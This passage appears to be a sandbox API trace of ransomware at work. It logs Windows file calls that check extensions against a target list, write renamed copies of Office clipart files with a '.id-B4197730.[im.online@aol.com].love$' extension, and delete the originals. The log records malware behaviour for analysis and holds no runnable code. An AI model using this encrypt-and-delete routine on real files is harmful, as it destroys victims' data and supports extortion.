4 [0249.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0249.864] lstrlenW (lpString=".1cd") returned 4 [0249.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0249.864] lstrlenW (lpString=".jpg") returned 4 [0249.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.864] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0249.864] lstrlenW (lpString="FD00543_.WMF") returned 12 [0249.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0249.865] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1472) returned 1 [0249.865] CloseHandle (hObject=0x538) returned 1 [0250.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220 [0250.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0251.708] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.708] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0251.709] GetLastError () returned 0x0 [0251.709] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x5c0, lpOverlapped=0x0) returned 1 [0251.715] WriteFile (in: hFile=0x538, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x5d0, lpOverlapped=0x0) returned 1 [0251.716] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0251.716] WriteFile (in: hFile=0x538, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0251.716] SetEndOfFile (hFile=0x538) returned 1 [0251.717] CloseHandle (hObject=0x538) returned 1 [0251.717] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0251.717] SetEndOfFile (hFile=0x548) returned 1 [0251.725] CloseHandle (hObject=0x548) returned 1 [0251.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0251.729] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0251.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0251.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0251.732] lstrlenW (lpString=".doc") returned 4 [0251.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.732] lstrlenW (lpString=".docx") returned 5 [0251.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.732] lstrlenW (lpString=".pdf") returned 4 [0251.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.732] lstrlenW (lpString=".xls") returned 4 [0251.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.732] lstrlenW (lpString=".xlsx") returned 5 [0251.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.732] lstrlenW (lpString=".ppt") returned 4 [0251.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0251.733] lstrlenW (lpString=".zip") returned 4 [0251.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.733] lstrlenW (lpString=".rar") returned 4 [0251.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.733] lstrlenW (lpString=".bz2") returned 4 [0251.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.733] lstrlenW (lpString=".7z") returned 3 [0251.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0251.733] lstrlenW (lpString=".dbf") returned 4 [0251.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0251.733] lstrlenW (lpString=".1cd") returned 4 [0251.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0251.733] lstrlenW (lpString=".jpg") returned 4 [0251.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0251.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0251.733] lstrlenW (lpString=".doc") returned 4 [0251.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.733] lstrlenW (lpString=".docx") returned 5 [0251.733] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.733] lstrlenW (lpString=".pdf") returned 4 [0251.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.733] lstrlenW (lpString=".xls") returned 4 [0251.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.734] lstrlenW (lpString=".xlsx") returned 5 [0251.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.734] lstrlenW (lpString=".ppt") returned 4 [0251.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0251.734] lstrlenW (lpString=".zip") returned 4 [0251.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.734] lstrlenW (lpString=".rar") returned 4 [0251.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.734] lstrlenW (lpString=".bz2") returned 4 [0251.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.734] lstrlenW (lpString=".7z") returned 3 [0251.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0251.734] lstrlenW (lpString=".dbf") returned 4 [0251.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0251.734] lstrlenW (lpString=".1cd") returned 4 [0251.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0251.734] lstrlenW (lpString=".jpg") returned 4 [0251.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.734] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0251.734] lstrlenW (lpString="FD00799_.WMF") returned 12 [0251.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0252.073] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=13968) returned 1 [0252.073] CloseHandle (hObject=0x528) returned 1 [0252.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x220 [0252.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0252.074] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0252.074] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0252.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0252.075] GetLastError () returned 0x0 [0252.075] ReadFile (in: hFile=0x528, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x3690, lpOverlapped=0x0) returned 1 [0252.166] WriteFile (in: hFile=0x550, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x36a0, lpOverlapped=0x0) returned 1 [0252.167] ReadFile (in: hFile=0x528, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0252.168] WriteFile (in: hFile=0x550, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0252.168] SetEndOfFile (hFile=0x550) returned 1 [0252.168] CloseHandle (hObject=0x550) returned 1 [0252.168] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0252.168] SetEndOfFile (hFile=0x528) returned 1 [0252.172] CloseHandle (hObject=0x528) returned 1 [0252.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0252.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0252.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0252.174] lstrlenW (lpString=".doc") returned 4 [0252.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.174] lstrlenW (lpString=".docx") returned 5 [0252.174] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.174] lstrlenW (lpString=".pdf") returned 4 [0252.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.174] lstrlenW (lpString=".xls") returned 4 [0252.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.174] lstrlenW (lpString=".xlsx") returned 5 [0252.174] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.174] lstrlenW (lpString=".ppt") returned 4 [0252.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0252.174] lstrlenW (lpString=".zip") returned 4 [0252.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.174] lstrlenW (lpString=".rar") returned 4 [0252.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.174] lstrlenW (lpString=".bz2") returned 4 [0252.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.175] lstrlenW (lpString=".7z") returned 3 [0252.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0252.175] lstrlenW (lpString=".dbf") returned 4 [0252.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0252.175] lstrlenW (lpString=".1cd") returned 4 [0252.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0252.175] lstrlenW (lpString=".jpg") returned 4 [0252.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0252.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0252.175] lstrlenW (lpString=".doc") returned 4 [0252.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.175] lstrlenW (lpString=".docx") returned 5 [0252.175] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.175] lstrlenW (lpString=".pdf") returned 4 [0252.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.175] lstrlenW (lpString=".xls") returned 4 [0252.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.175] lstrlenW (lpString=".xlsx") returned 5 [0252.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.176] lstrlenW (lpString=".ppt") returned 4 [0252.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0252.176] lstrlenW (lpString=".zip") returned 4 [0252.176] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.176] lstrlenW (lpString=".rar") returned 4 [0252.176] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.176] lstrlenW (lpString=".bz2") returned 4 [0252.176] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.176] lstrlenW (lpString=".7z") returned 3 [0252.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0252.176] lstrlenW (lpString=".dbf") returned 4 [0252.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0252.176] lstrlenW (lpString=".1cd") returned 4 [0252.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0252.176] lstrlenW (lpString=".jpg") returned 4 [0252.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.177] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0252.177] lstrlenW (lpString="FD01658_.WMF") returned 12 [0252.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0252.178] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=17924) returned 1 [0252.178] CloseHandle (hObject=0x528) returned 1 [0252.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x220 [0252.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0252.179] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0252.179] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0252.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0252.180] GetLastError () returned 0x0 [0252.180] ReadFile (in: hFile=0x528, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x4604, lpOverlapped=0x0) returned 1 [0252.269] WriteFile (in: hFile=0x550, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x4610, lpOverlapped=0x0) returned 1 [0252.271] ReadFile (in: hFile=0x528, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0252.271] WriteFile (in: hFile=0x550, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0252.271] SetEndOfFile (hFile=0x550) returned 1 [0252.271] CloseHandle (hObject=0x550) returned 1 [0252.272] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0252.272] SetEndOfFile (hFile=0x528) returned 1 [0252.275] CloseHandle (hObject=0x528) returned 1 [0252.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0252.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0252.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0252.311] lstrlenW (lpString=".doc") returned 4 [0252.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.311] lstrlenW (lpString=".docx") returned 5 [0252.311] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.311] lstrlenW (lpString=".pdf") returned 4 [0252.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.312] lstrlenW (lpString=".xls") returned 4 [0252.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.312] lstrlenW (lpString=".xlsx") returned 5 [0252.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.312] lstrlenW (lpString=".ppt") returned 4 [0252.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0252.312] lstrlenW (lpString=".zip") returned 4 [0252.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.312] lstrlenW (lpString=".rar") returned 4 [0252.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.312] lstrlenW (lpString=".bz2") returned 4 [0252.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.312] lstrlenW (lpString=".7z") returned 3 [0252.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0252.312] lstrlenW (lpString=".dbf") returned 4 [0252.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0252.312] lstrlenW (lpString=".1cd") returned 4 [0252.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0252.312] lstrlenW (lpString=".jpg") returned 4 [0252.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0252.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0252.313] lstrlenW (lpString=".doc") returned 4 [0252.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.313] lstrlenW (lpString=".docx") returned 5 [0252.313] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.313] lstrlenW (lpString=".pdf") returned 4 [0252.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.313] lstrlenW (lpString=".xls") returned 4 [0252.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.313] lstrlenW (lpString=".xlsx") returned 5 [0252.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.313] lstrlenW (lpString=".ppt") returned 4 [0252.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0252.313] lstrlenW (lpString=".zip") returned 4 [0252.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.313] lstrlenW (lpString=".rar") returned 4 [0252.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.313] lstrlenW (lpString=".bz2") returned 4 [0252.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.313] lstrlenW (lpString=".7z") returned 3 [0252.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0252.313] lstrlenW (lpString=".dbf") returned 4 [0252.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0252.314] lstrlenW (lpString=".1cd") returned 4 [0252.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0252.314] lstrlenW (lpString=".jpg") returned 4 [0252.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.314] lstrcmpiW (lpString1=".WMF", 